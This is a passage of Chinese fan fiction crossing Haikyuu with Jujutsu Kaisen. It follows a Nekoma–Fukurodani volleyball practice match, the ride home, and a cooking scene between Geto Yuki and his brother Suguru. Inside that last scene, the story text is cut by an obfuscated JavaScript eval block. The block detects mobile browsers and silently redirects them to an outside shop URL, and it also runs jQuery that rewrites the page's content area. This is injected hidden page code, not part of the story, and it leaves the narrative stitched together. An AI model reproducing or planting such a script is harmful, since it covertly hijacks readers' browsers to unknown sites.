夜久卫辅呆呆道:“夏油,刚才那一球是你的话……” “太低了。”夏油幸很诚实地说,“我会扣,但大概率会扣在网上。” 夜久卫辅沉默半晌,表情一凛。 “我要接起每一颗球。”他握拳道。 夏油幸点点头:“加油,前辈。” “……”夜久卫辅狐疑地仰起脸,“为什么,你的语气这样冷淡?” 夏油幸看了前辈一眼,朝自己的位置上走去:“因为救起每一颗球是不可能做到的。” “。”夜久卫辅追出去的脚步踉跄了一下,“那个,比起追求现实,有些东西放在心里能发挥出更大的力量,你明白吗?” 夏油幸点点头:“我明白。” “……你真的明白吗?” 回到1号位上的夜久卫辅内心哇凉哇凉的。 总之,后辈是没法提供爱心鼓励之类的东西的存在呢。 下一球还是枭谷的赤苇京治来发。 这次,夜久卫辅翘首以待。 还是完美的一传给西村,西村再次和山田配合发动快攻,没有因为上一次的失败而改换攻手。 这一次,音驹的快攻没有被神来一脚地接起,顺利地拿到分数。 音驹顺时针轮转。 这一轮次,音驹显得弱势了起来。 目前音驹的站位是—— 前排三人:西村,山田,海信行。 后排三人:夏油幸,夜久,加藤。 “音驹强势的攻手都到了后排。”木叶秋纪隔着网,用目光扫着对面的站位,“他们的王牌和超级新人都在后面,可能会发动后排进攻,小心。” “前辈没有黑尾拦网。”猿杙大和露出高兴的笑容。 “如果和尚头能下去就更好了。”猿杙大和补充道。 被点到名字的海信行露出笑容。 而与音驹相对的,枭谷这一轮依旧保持着非常强势的进攻站位。 前排三人:木叶,鹫尾,木兔。 后排三人:猿杙,小见,赤苇。 加藤握着球,朝底线后面走去。 这是夏油幸第一次以站在场地同一侧的视角,看加藤发球。 平心而论,加藤个子并不高,比夏油幸要矮一点,不过应该180出头了。 “哎,看好了。”夜久卫辅小声道。 看什么?夏油幸用疑惑的目光进行回答。 夜久卫辅眨眨眼:“当然是——我们队长的拿手绝活。” 26.第 26 章 加藤站到离底线不远的地方。 夏油幸用余光瞄着身体后方的光景,以和夜久卫辅音量持平的声音,小声道:“看上去,他不打算跳发。” “当然了。”夜久卫辅悄声回答,“发球的方式,可不只有跳发这一种啊。” “咦。”夏油幸这下有些疑惑了,“但是上手发球或者下手发球,威力会不够吧,肯定会被枭谷接起来。” “这就是你一直用大力跳发的原因吗?威慑对手什么的。”夜久卫辅的浅金褐色双眼流淌出某种东西,“好孩子。” 夏油幸:“……” 这种情节,他是不是曾经在动物世界里见过? 这边进行着诡异的对话,加藤那边,开始发球了。 夏油幸和夜久卫辅顿时暂停谈话,后者继续露出鼓励的目光,脸上写着一句话—— 快点观察部长的发球! 夏油幸点点头,用余光去看。 加藤的发球动作,看上去和普通的正面上手发球没什么两样。 排球自手中抛出,不高不低。 右脚蹬地,腰间微微朝左转动,带动手臂发力,加藤直直挥出右臂。 “啪。” 排球不高不低地飞了出去。 到这里,夏油幸没有发现什么不对劲的地方。 他的目光自身后的加藤,顺着排球一路追随到枭谷的场地上,却发现……枭谷整体的接发阵型似乎往前挪了挪? 排球越过球网。 在夏油幸的注视之下,忽然,像没了力气似的,自半空一下子掉到地上。 “哎呦。” 枭谷前排,一齐扑过去接球的黑色刺猬头的冷面男和醒目的猫头鹰王牌撞到了一块。 夏油幸面上忍不住露出惊讶之色。 “这是怎么回事。”夏油幸请教夜久卫辅道,“夜久前辈?” 「怎么回事」、「前辈」。 夜久卫辅不禁露出飘飘然的笑容。 说实在的,他很少遇到这样的时刻。 作为自由人,平常能够教授的东西,最多的便是接球,其他方面,比如进攻,比如发球,自由人要么完全不能做,要么受到严格限制。 而现在,以标志性的大力跳发强势站在他们正选的队伍里的超级新人——正在向他请教发球啊! “咳咳。”夜久卫辅挺起胸膛。 没有卖关子,夜久卫辅直截了当地给出答案:“飘球。” “飘球?”夏油幸喃喃地重复了一遍。 对他来说,这是新名词。 “哎。”夜久卫辅伸长胳膊,拍了拍后辈的肩膀。 他早知道,后辈的排球天赋并没有得到充分的施展,技能也没有全面地进行练习。 就像那个,有个外国老头,叫什么来着……总之,就是说,那个,天才是1%的天赋加上99%的汗水,记得这个就够了。 从不在小事上纠结的夜久卫辅把外国老头抛到一边。 在夜久卫辅看来,这99%的汗水还要再加上一个条件——挥洒到正确、以及全面的地方。 而他作为前辈,现在正是教导后辈开发土地之时啊! “你刚才是不是疑惑,加藤的发球明明看上去和正面上手发球没什么两样,但是半途忽然泄力,导致枭谷没接到球?” 夏油幸点点头。 “哼哼。”夜久卫辅道,“如果你站到加藤的后面看他发球,你就会发现,普通的正面上手发球是拍在球的中后部,而他这次的发球呢,还要再往下一点,手掌要拍到球的后中下部。” 说着,夜久卫辅伸直掌心,在空中给后辈小小地演示了一番。 “其他发球,像是你的大力跳发,带着非常强烈的旋转,没错吧?” 夏油幸点点头:“正是因为力道和旋转,枭谷的自由人之前才没能接住我的发球。” “那么飘球则和你的大力跳发完全相反,是一种在空中不产生旋转的球。” 夏油幸惊讶道:“不产生旋转。” 夜久卫辅点点头:“飘球就是这样。正是因为它不产生旋转,所以在空中飘摇不定,也可能会忽然失速下沉,算是不好接的一种。” “夜久前辈。”夏油幸道,“自由人是不能够发球的,对吧?” 夜久卫辅点点头。 “在这种情况下,你依然对发球无比了解,甚至清楚不同类型的发球具体的击球差别……” “怎、怎么了!”夜久卫辅叉腰,“喂,虽然我个子不高,但我可是‘全能’的,全能!” “知己知彼,百战不殆!我不是逼不得已哭哭啼啼地做了自由人,而是因为喜欢和天赋,总之,就算哪天允许自由人发球,我也自信能够做得很好!” “我没有提到身高的事情,夜久前辈。”夏油幸惊讶地看了夜久卫辅一眼,“前辈,很厉害啊。” “……” 夜久卫辅叉腰的手僵住。 半晌,默默地放下来。 “……一起努力吧。” “嗯。” 两人的目光重新投到枭谷的场上。 加藤的第二颗飘球被枭谷成功接起,依旧由赤苇京治二传,木兔光太郎进攻。 枭谷重新拿到一分后,轮转,木兔光太郎去了后排。 ——趁这个机会,拿下一分吧! 音驹这边,所有人都这样想着。 木兔光太郎发球。 这是夏油幸第一次见。 隔着球员和球网,夏油幸从木兔光太郎的动作,判断他是要大力跳发。 夏油幸稍微往后挪了挪。 虽然没有见识过这位枭谷王牌的发球,不过这场比赛到现在,扣球见识了不少。可想而知,这颗跳发球绝对不会很轻。 木兔光太郎助跑了四步,跃起至半空。 真高啊。 夏油幸心里道。 “嘭!” 排球带着强烈的旋转朝夏油幸砸来。 啊,目标是他啊。 那么…… 夏油幸半蹲,压低重心。 两条手臂在身前叠成一个稳固的平面三角,面对来势汹汹、带着强烈旋转的排球,纹丝不动地挡在那处。 “砰!” 排球弹飞了出去。 一旁,早有准备的夜久卫辅迅速朝右侧追去,最后在场边背传,由右翼的海信行跃起扣下。 “呼——” 夜久卫辅擦着汗跑回来。 “该轮转了。”夜久卫辅趁着夏油幸在后排的最后一刻小声聊天,“回去后好好练练接球吧,一起。你的手臂还是稍微有点靠前。最好缓冲一下它的攻势,在球撞过来的那一刻顺着球的冲力往后撤一撤。不过……” 夜久卫辅翘起嘴角,促狭道:“你明白别 人接你的发球的滋味了吧?” “明白了。”夏油幸揉了揉手臂上被大力跳发撞出来的一片红色,“力气还是得再大一些啊。” “哈哈。”夜久卫辅发出意味不明的笑声。 夏油幸站上了4号位。 这是一个颇具优势的进攻位置,枭谷前排将大部分注意力分给了这位音驹的新人主攻手。 对于绝大部分右撇子来说,4号位远比右翼的2号位更方便顺畅地施展进攻。 这也是这次比赛,夏油幸第一次站上有益于右利手的前排左翼。 必须趁现在多多进攻。 猿杙大和严阵以待,默默地在心里道。 音驹的下一次轮转,黑尾铁朗就要站上前排了。 一旦让音驹前排同时具备新人的强力扣球和黑尾难缠的拦网与快攻,要想拿到分数就要费力了。 如枭谷所预想的那样,在海信行发球被拦回后,西村将球托给了夏油幸。 这是毫不弱势的一球。 也是回敬的一球。 刚才,枭谷的木兔光太郎将球扣到夏油幸所站的5号位上,这次,夏油幸也将球重重地朝木兔光太郎所在的枭谷的1号位扣去。 木兔光太郎舔舔嘴唇,身体下沉,将球接起。 他喜欢这种感觉。 对有些人来说,来自对手的注视是压力。而对于木兔光太郎而言,这是肯定,是鼓舞。 只有具有威胁的人,才会得到对手的警惕与针对。 而夏油幸专门瞄准他发球,这完全就是对他的肯定啊。 “把球给我——!” 木兔光太郎大喊。 赤苇京治一愣,手上却十分稳定而灵活地,将原本打算托给前排的木叶秋纪的球,朝三米线的地方送去。 一个高球。 在接起夏油幸的扣杀后,木兔光太郎的手臂还处在疼痛之中——这种东西无关紧要,马上在后排三步起跳,迎着赤苇京治临时切动手腕托出的排球,高高地跃至半空。 还是那个人在的位置。 木兔光太郎露出灿烂逼人的笑容,朝音驹的前排左翼重重挥下手臂。 来不及让谁补位,夏油幸只能接住这颗球。排球自他手中弹起,西村跃起朝右侧轻轻一托。 虽然来不及发动快攻,山田还是尽最大的力气挥下手臂,又被枭谷接起。 不过,这次是—— “——ceball!!” 山田大喊。 在排球自对面前排球员双臂上弹起的一刻,夏油幸开始动了。 排球如他所想的那般飞过球网上沿,夏油幸避开中间的西村,三步助跑已然完成,手掌重重地朝这颗排球扣下。 枭谷后排的,木兔光太郎。 “嘭——!” 没有二传进行调整,直接起跳在网上扣球,依然无损夏油幸进攻的力道。 排球自枭谷王牌的双臂上弹起,朝场外飞去。 夏油幸落到地面,隔着白线缠绕成菱格的球网,看到的,是一双战意盎然的双眼。 枭谷的王牌,完全地被激发了状态。就连周身的空气仿佛都在呐喊着。 “……” 夏油幸缓慢地眨眨眼睛。 几颗汗珠自额角滑落,顺着他的眼眶骨,落到眨动的右眼睫上。 夏油幸忽然冷静了下来。 27.第 27 章 木兔光太郎,是与以往完全不同的对手。 夏油幸能够拿来比较与判断的样本不多,不过也足够了。 人与人之间总有共性,比如说,面对压力,总有一瞬不可避免的紧张与逃避,尤其到赛场上,难免出现心理与精神上的影响。 但,枭谷的这位王牌,不是这种类型。 之前的几球,夏油幸虽然也发现了这位王牌十分享受他人的欢呼、崇拜与注目,但是他没想到的是,就连对手施压意图的进攻与针对,木兔光太郎都能够算作在内。 都能够从中提取到兴奋的东西,转化为自身的动力,然后将它们投注在赛场上。 ……原来是这样啊。 夏油幸抬起右手,用手背擦了擦额头与眼睛那块的汗水。 他的进攻不是进攻,在那个家伙眼中,完全就是「我非常在意你」的信号。 夏油幸冷淡的面上,忽然露出一分笑意。 明白了。 “前辈。”枭谷练习赛的赛场上,夏油幸头一次主动跟西村搭话,“给我托球吧。” “……” 西村面露惊讶,但还是朝夏油幸点点头。 “我会根据情况来做。”顿了顿,西村道,“不可能将所有球都给你。” “——哎呀。” 音驹的替补席上,直井学忍不住摇摇头,道:“终于看到一年级和三年级说话了。” 石井教练点点头。 这算是好的开始吧,应该。 目前场上,音驹的前排,是夏油幸与副攻手山田。 音驹的王牌加藤在不方便施展进攻的后排右翼,而山田的快攻依赖于一传的到位,因此接下来的扣球,西村真的尽量地托给了夏油幸。 这回,夏油幸没有再针对木兔光太郎。 仿佛一下子失去记忆一般,音驹的超级新人忽然从和枭谷王牌主攻手的一来一回中抽离出来,眼睛也不眨一下地朝别的地方发动进攻。 一次,两次,三次…… 诶。 诶诶诶。 求豆麻袋。 枭谷的场地上,木兔光太郎眨眨眼,陷入了短暂的沉默。 Hallo?这是…… ……忘记他了吗? 木兔光太郎迷茫而强力地朝音驹前排左翼发动后排进攻。 大脑的困惑丝毫没有影响到木兔光太郎扣球的力道,排球宛如重炮一般,频频砸向夏油幸所在的位置。 没错,木兔光太郎也向自家二传手赤苇京治提出了要求,不过要比夏油幸语气顺理成章得多。 ——“把球给我!” “是,前辈。”赤苇京治点点头。 枭谷的其他人,面上也露出纵容的笑意。 又不是在正式的赛场上,就让自家王牌按照心情来吧。 更何况……木兔光太郎今天的状态,真是无比地好啊。 直到现在,也没有露出哪怕一丝精神低落的状态来,连先兆也没有。 谢谢你,音驹新人。 ——来自枭谷场内。 收到了,不客气。 音驹场上,夏油幸皮笑肉不笑。 让自己成为他人的精神燃料这种事,他做不到。 夏油幸继续他自己的计划。 由西村托球,他扣球。 为了计划的顺利实施,他甚至收了几分自己的力道,而且多用斜线球,将排球尽量朝枭谷的前排和左翼扣去。 “。”音驹新人发现了。 枭谷左翼主攻手猿杙大和默默地拦起一球。 不但在进攻上进行变化,夏油幸的计划是全方位的。 就这样,当木兔光太郎激情满满,又重扣来一球时,等待着他的,再也不是夏油幸冷淡的脸上微微翘起的嘴角,一双异瞳里被他点燃的冷静的火焰…… ——而是一张扑克脸。 夏油幸:o_o 无聊枭谷进行怎样的拦网与进攻,他始终都以这副毫无波澜的扑克脸应对一切。 渐渐地,木兔光太郎也反应过来了。 “他怎么了……”木兔光太郎呆呆道,“是不想激发我的状态……?” “是这样的,木兔前辈。”赤苇京治道。 “……” 木兔光太郎忽然沉默了。 “……” 赤苇京治有些担心,但还是保持着平静的表情,注视着自家王牌。 几秒钟后,木兔光太郎忽然呼出一口气。 赤苇京治安静地等待着。 “赤苇。” “前辈。” “我……好厉害啊。” “……?” 赤苇京治脑袋上冒出一个大大的问号。 他再次意识到一件事,无论经过怎样的朝夕相处,无论怎样进行怎样的努力理解,他果然……还是无法完全知道前辈的想法啊! “啊,赤苇。”木兔光太郎摸摸自己翘起来的粗硬头发,道,“对面的音驹新人忽然不理我了,有一瞬间我觉得好没意思。但是呢,我现在明白过来了。” “有一种人,他的无视就是在意,是这样的吧?” “正常情况下,和我一来一回地进行比赛,这就是音驹新人的普通模式。而现在,他切换到了特别的无视模式,这是专门为我准备的。” “因为——我是强大的对手。” 木兔光太郎眨眨眼睛。 “想要从心理上影响我,尽可能地不为我提供助益,这样的改变,完全就在说着一件事……我很厉害啊!” 赤苇京治听完了,点点头。 “是这样的,前辈。” “赤苇。”木兔光太郎扬起头,“继续给我托球吧!” “是,前辈。” 回应着自家王牌,赤苇京治将目光投向球网对面,迎上那道来自异瞳的,没什么温度的目光。 “……” 枭谷场地上两人毫不遮掩的谈话,尤其是木兔光太郎的大嗓门,一字不落地传到夏油幸耳中。 夏油幸简直绝倒。 天哪,天底下居然有木兔光太郎这样的人! 事实证明,夏油幸还是低估了木兔光太郎。 接下来的十几分钟里,夏油幸没有再进行任何一次刻意的针对。扣球有机会便扣,没机会便老老实实地做掩护。轮到后排时,接发、补位、准备后排进攻,一切照常。 木兔光太郎却得到了某种只有自己知道的认证一般,状态反而越来越好。 “Hey——!” 又是一颗扣球落地。 “看到了吗,赤苇!他刚才完全没看我!” “看到了,前辈。” “果然很在意我吧!” “……大概吧。” 赤苇京治停顿了半秒,选择了一个最不容易刺激自家王牌的回答。 木兔光太郎继续精神百倍地进攻了。 夏油幸:“……” 和理解木兔光太郎相比,还是打排球简单一点。 A队的第一局继续向后推进。 夜久卫辅不断填补着后场的空隙,黑尾铁朗站上前排以后,音驹拦网的存在感重新变得强烈。 而在夏油幸不再和木兔光太郎一来一回后,西村也根据情况分配着球权。 石井教练盯着场上看了一会儿,忽然道:“比我想得要快一点。” “什么?” “一年级和三年级。” 直井学顺着他的目光看过去。 西村将一颗一传并不算完美的球托到向夏油幸,夏油幸面对鹫尾辰生的拦网选择直接硬扣过去,枭谷队员鱼跃扑救,球虽然救起来了,却仓促地飞向回了音驹。 下一颗球,西村没有再给夏油幸。 加藤从另一侧起跳,将球干脆地扣了下去。 “确实。”直井学摸摸下巴,“大家配合得还不错嘛。” “状态也慢慢上来了。” “因为那个枭谷的王牌吧。” “枭谷真是好对手啊。” 两位教练有一句没一句地聊天时,场上的比分也逐渐来到了二十分以后。 越靠近局末,枭谷的稳定性便越明显。 木兔光太郎状态好得惊人,整场下来不显疲态,不过,赤苇京治并没有因为王牌今天格外亢奋就真的将每一颗球都送给他。木叶秋纪、猿杙大和与鹫尾辰生也不断进攻着。 音驹追得很紧。 但最终,第一局还是停在了二十二比二十五。 枭谷先下一局。 “啊——差一点!” 山田仰头长叹。 “哪里差一点,三分呢。”夜久卫辅毫不留情地道。 “三分也是差一点!” “那十分是不是也能叫差一点?” “十分就有点多了。” “你还挺有原则。” 几个人一边说,一边朝场边走去。 夏油幸弯腰捡起滚到脚边的排球,抬头的时候,正好对上球网另一面的木兔光太郎。 木兔光太郎冲他竖起大拇指。 夏油幸面无表情地把头扭开。 木兔光太郎:“……” “赤苇!你看!” “看到了,前辈。” “特别模式!” “是,前辈。” 赤苇京治已经接受了。 不必强行理解前辈的一切。 上午剩下的时间,两边又继续打了两局。 练习赛本来就不是正式比赛,没有死守着一套阵容从头打到尾。音驹这边,石井教练陆续做了几次人员调整,让杉山、原田也分别进入A队试了几轮;枭谷那边同样轮换了替补球员,唯独木兔光太郎今他状态奇佳无比,始终保持着充足的精力。 第二局,音驹扳回一局。 第三局则不幸以两分之差输掉。 夏油幸的大力跳发依旧是音驹最直接的得分手段之一。 木兔光太郎对于枭谷而言,也是如此。 最开始,音驹的拦网和后排常常被他打得措手不及,等到黑尾铁朗、夜久卫辅逐渐摸清今天这个状态格外好的木兔会怎样选择线 路以后,偶尔也能够把球拦回去,或者在后场提前等住。 然后下一次,木兔又会换一种打法。 再下一次,音驹继续调整。 夏油幸到后来已经很少再专门盯着木兔看了。 正因为已经把对方当成场上最值得警惕的攻手,他反而不需要每次都特地去确认木兔在哪里。 助跑的声音、赤苇托球的方向、前排拦网移动的位置——只要这些东西出现,木兔光太郎的存在便自然而然地进入判断。 打好手中的每一球就可以了。 上午A队最后一颗球落地时,比分牌停在了二十三比二十五。 木兔光太郎举起双臂庆祝,音驹这边也没有多少输球后的低气压。 “饿死了。” 夜久卫辅擦着汗到底。 “我也是。”海信行点点头。 黑尾铁朗拧着矿泉水瓶,朝旁边看了一眼:“不知道B队的结果怎么样。” 这句话提醒了众人。 从上午开始,两块场地一直同时比赛。A队这边比赛得异常激烈,隔壁的B队也不遑多让,只不过大家都沉浸在比赛中,很少有余力注意旁边 等A队成员真正走近B队的计分板,才发现那边的情况比想象中还要……复杂一点。 “你们这是打成什么样了?” 黑尾铁朗看着刚结束的一局比分。 二十五比十九。 音驹赢。 山本猛虎正双手撑膝,大口喘气,听见声音,立刻抬起脑袋:“黑尾前辈!我们赢了!” “看到了。” “我扣了好多球!” “也失误了好多球。”孤爪研磨在旁边补充。 “研磨!” “事实。” “这种时候就不要说事实了!” 福永招平抱着排球从两人身后经过,平静地道:“选择□□实。” 山本猛虎:“福永你到底站哪边?!” “中间。” 研磨默默地往旁边挪了一步,似乎打算离热血过头的人远一点。 和A队相比,B队的比赛没有非常多的一来一回的压迫感,却有另一种明显的混乱。 枭谷的B队几乎都是一年级进行临时组合,失误自然不少。 据说,上午至少有五次扣球直接上网,还有一次和队友抢球抢到差点撞在一起。 不过音驹这边,新人们表现良好。福永招平没什么注意力,却总能在意想不到的时候把球送进对方空处。孤爪研磨则在最开始救适应了己方和对方的节奏,比赛越是继续,越知道该把谁放在什么地方使用。 至于三年级的铃木—— 黑尾铁朗的视线在人群里停了一瞬。 铃木正坐在场边喝水,和身旁的杉山说着什么。 脸上的神情并不沉重,至少他看不出来。 黑尾铁朗收回了视线。 B队上午一共打了三局,两胜一负。 这个结果让石井教练沉默了。 “怎么了?”直井学问。 “没什么。”石井教练道,“只是忽然觉得,中午的饭可能会很好吃。” “这两者有什么关系?” “心情好,吃饭当然香。” “你上午不是还在为人太多不好安排发愁吗?” “那是上午的我。” 直井学:“……” 人的转变真快啊。 上午的练习赛到这里暂时告一段落。 两校没有专门跑出去吃饭,昨天部活结束时,前辈们便已经交代过今天要自带午饭。体育馆两侧的门被拉开通风,运动了一上午的部员们三三两两地坐到场边,翻包的翻包,拿水的拿水,很快,各种便当盒和塑料包装便铺了一地。 正式开饭以前,两边教练还是把人简单叫到一起说了几句。 “上午总体不错。” 石井教练站在音驹这边,目光从A队扫到B队。 “输赢先放一边。A队第一次用新的组合,至少没有出现互相不知道该做什么的情况。B队新人多,失误也有,不过后半段越来越稳定了。” 山本猛虎表情肃穆地听着。 今天与枭谷的比赛,和他在丸口商时不一样,他这次学会了放平心态,几场下来打得不错。 石井教练转向A队:“西村,分配球的时候可以再大胆一点。今天是练习赛,对手还是枭谷。我们队内存在的问题,就趁这个机会暴露出来吧。” “是。” 西村点头。 “山田,刚才几次快攻不错。黑尾,拦网再多带着后面的人看。夜久——” “我知道。”夜久卫辅已经提前回答,“接发。” “你很清楚啊。” 石井教练最后看向夏油幸。 夏油幸安静地等待着。 “你的发球和扣球一直很好。”石井教练道,“继续练习吧。” “是。”队员们齐声道。 “大家辛苦了。”石井教练拍拍手,“好了,快点吃饭吧!” 28.第 28 章 下午的练习赛依旧。 训练越接近尾声,夏油幸的发梢越被汗水打湿,脸上也露出了明确的“我要休息”的表情。 和他状态差不多的,只有同在音驹的孤爪研磨。不过显然,在这两支由大猩猩构建而成的队伍中,像两人这样的才是异类。 坐替补席上没几分钟,夏油幸便被夜久卫辅拉起来,再度投身到和枭谷的练习赛中。 很快,已然接近黄昏时分。东京的天空却依旧很蓝。 在这片无垠的蓝色之下,音驹一行人从体育馆里走出来,坐上返程的大巴。 “喂——合宿一定要参加啊,带上这些人——” 听到木兔光太郎的喊声,黑尾铁朗伸手将窗户推开半扇,探出头朝对方挥挥手。 “合宿之前,关东大会见——” “哦!大赛见——” 枭谷其他人也纷纷朝这辆红黑色大巴点头致意。 石井教练、直井教练和枭谷的暗路教练快速结束寒暄,转身上了校车。 回程的路上,大巴内并不安静。 经历了一整天的高强度运动,身体虽然已经疲惫,运动刺激带来的多巴胺与兴奋感却还没有完全退去。更何况,今天面对的是枭谷这样强劲的对手。 山本猛虎趁着记忆尚在赏味期,拉着前辈复盘着今天的比赛。二年级的黑尾、夜久和海与山本坐在前后排,也乐于扭头和这位勤奋的后辈多多交流。 三年级在一起互相聊天,坐在他们附近的石井教练有一搭没一搭地闲聊着,一时之间,车厢内气氛无比活跃。 夏油幸合上双眼,靠在座位上陷入浅眠状态…… “唔,这家伙是睡着了吗?” 山本猛虎毫不收敛的大嗓门在他身侧响起。 “嘘——小声!”紧接着是夜久卫辅压低的声音。 渐渐地,身侧的杂音和更远处的交谈声融合在一起,内容已经听不清,只剩下一片类似asmr的混沌声。夏油幸的意识这下是真的沉下去了。 直到被来自山本猛虎的手推醒,夏油幸在音驹校门口下车。在回家的电车上又眯了会儿,最终在巷子里迎着丝丝凉爽晚风,朝家里走去。 直至夏油幸的身影消失在栅栏后,不远不近地走在身后的黑尾铁朗抬头,看了看自家门口贴着的名牌,语气奇妙地道:“「黑尾」这个姓氏,在日本不算常见吧?” 到底是怎么做到两周了都没发现的? “「孤爪」这个姓氏也不常见。”孤爪研磨和幼驯染打了声招呼,回隔壁自己家了。 正是各回各家的时候,夏油幸站在冰箱前找吃的,没想到保鲜层里多了几样自己没见过的东西。 “这是什么?” 身后传来响动,夏油幸没扭头地问道。 他目光所对的地方,几个盒子正整整齐齐地摞在一起,外面裹着素雅的包装纸,看不出里面具体是什么。 “和果子。” 夏油杰走到弟弟身后。 “这几盒都是?你买这么多做什么,我们都不爱吃这种东西啊。” “你忘了吗,周末不是要去拜访邻居。” 夏油杰示意弟弟往旁边让让,自己则打开冷冻层取了一条预处理好的青花鱼出来:“你吃不吃,不吃我切半份?” “吃。” “便当吃完了?” “早吃完了。”夏油幸扒哥哥身上,“我今天打了一天的球,又饿又累!” “毕竟你选择的是运动社团啊。”夏油杰开锅煎鱼,“我今天去了趟京都,正好车站旁边有家和果子店,顺便就买回来了。你看到绿色那盒了吗?” “嗯哼。”夏油幸当然看到了——一众淡粉色樱花包装纸中,唯一的一抹绿。 “这家店的期间限定,八种茶的和果子——给你买的。” “我猜到了。”夏油幸将下巴垫到哥哥肩膀上,眼睛看着锅里已经开始变黄的带皮鱼尸,“但是,你明明知道我不爱吃。” “茶风味,不会很甜,应该?”夏油杰道,“而且,你一定会嚷嚷着自己要吃。‘怎么给陌生人都买了,不给你买’。” 知道对方看不到,夏油幸还是露出微笑:“尼桑,你真是太了解我了。” 夏油杰摇摇头。 锅铲将青花鱼翻了个面,逐渐焦黄的鱼皮开始滋滋冒油。 那是前年秋天的事情,彼时夏油杰刚得知日本还有一所教授咒术的学校;几乎同一时间,夏油幸也知道了一件即将要发生的事——哥哥不会和自己继续在同一所高中上学。 没过多久,夏油杰便去了东京,目的当然是考察与了解,回来的时候,自然带了三份伴手礼。 不过,夏油幸面对这三份伴手礼,却发了很大的火。 给出的理由也很简单——“你怎么能给我买和别人一样的东西!” 究其根本,以往大家都生活在朴素的东北乡下的时候,日常用的所有东西几乎都一模一样,出自同一品牌、同一款式,最多在颜色上有所区别。平常对方零花钱的余额一清二楚,生日礼物更是提早开口直接要。因此,就算想刻意分什么不同,也没有能够这样做的时候。 而去东京就不一样了。 出于各种缘由的、弟弟的心情,总之经此一遭,夏油杰再也没给弟弟和其他人一样的东西过。 夏油幸当然也想到了这件事。 其实,他并不是真心在百分百地追求特别,当时更多的气,是对突如其来的、那所陌生城市的陌生学校而已。 不过,这个世界上并不是所有东西都要说得一清二楚。这份结果夏油幸也觉得不错。 想到这里,夏油幸忍不住伸手揽住哥哥的腰。 “小幸。”夏油杰握着盐罐,头也不回地说,“我厨艺本来就不怎么样,你再捣乱,我把盐撒多了,这条鱼就请垃圾桶吃吧。” “好吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821620|207802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 夏油幸松开手,从冰箱里翻出一盒西蓝花苗,走到旁边清洗起来。他打算做一道简单的沙拉,配着煎鱼当夜宵吃。 第二天,排球部日常活动的体育馆,石井教练将一件球衣递给夏油幸。 ——「8号」。 “这是根据你之前测量出的尺寸定制的,”石井教练语气里有几分感慨,“也是巧合,队里的大家挑号码,只有8号没被选走。前十的数字里就这一个空缺。” 夏油幸接过球衣,属于音驹的红黑两色在布料上拼接。正对着他的是放大的白色号码「8」,上方是音驹的校名,左上角还印着一个……咦? 夏油幸情不自禁地将衣服凑近。 刚才扫过一眼,还以为是什么装饰性的罗马字,但现在仔细看起来……是个品牌名? “美津浓。”黑尾铁朗的声音响起,“我们比赛球衣就是找他们订的。” “Soga。”夏油幸点点头。 现在已经到了自主训练的时候,黑尾铁朗掂着排球道:“看来,教练已经做出决定了。” “什么决定?” “当然是让你做正选了。”一道幽怨的声音从旁飘起。 夏油幸扭头,看到了捧着11号球衣的山本猛虎。 “哇,真羡慕啊。”忍了但没忍住,山本猛虎的话脱口而出。 夏油幸没忘记昨天他在车上小憩时,耳边山本猛虎标志性的嗓门,道:“我也很嫉妒呢,你这永远都不会消磨掉的精力。” “那是——斗志!”山本猛虎忽然握拳大喊。 周围的大家对这个莫西干头的热血已经完全习以为常了。 夏油幸看着这位莫西干头的新发色,头顶那块山丘被染成了金色——啊,进化版本的热血莫西干,莫西干Pro。 山本猛虎注意到了同期诡异的视线,伸手在金色草地上摸了摸:“……干嘛?” “你染了头发?” “嗯啊。”山本猛虎道,“上次和丸口商的那场比赛,我犯了很多错。” 夜久卫辅张了张嘴巴,看上去很想说什么的样子,不过还是没有打断学弟的告白。 “——又和孤爪差点打了一架。” 孤爪研磨闻言低头看了看自己的衣领,开始思考“差点”这个词是不是去掉比较好。 “现在我已经完全明白了一件事,靠心急是做不成事的。”山本猛虎目光一沉,“总之,只有不断地努力、不断地训练,等将来有一天站到赛场上,将日常积累的一切都发挥出去,其他的东西,想再多也没用!” “哦~”黑尾铁朗鼓掌。 “啪啪啪。” 周围响起哗啦啦的掌声。 山本猛虎不好意思地继续挠头。 “这温馨的氛围,我真是不忍心打断。”黑尾铁朗将排球顶到指尖旋转了起来,将周围的视线都吸引到这颗蓝黄小球上,道,“关东大会预选近在眼前了,我是说——下周。”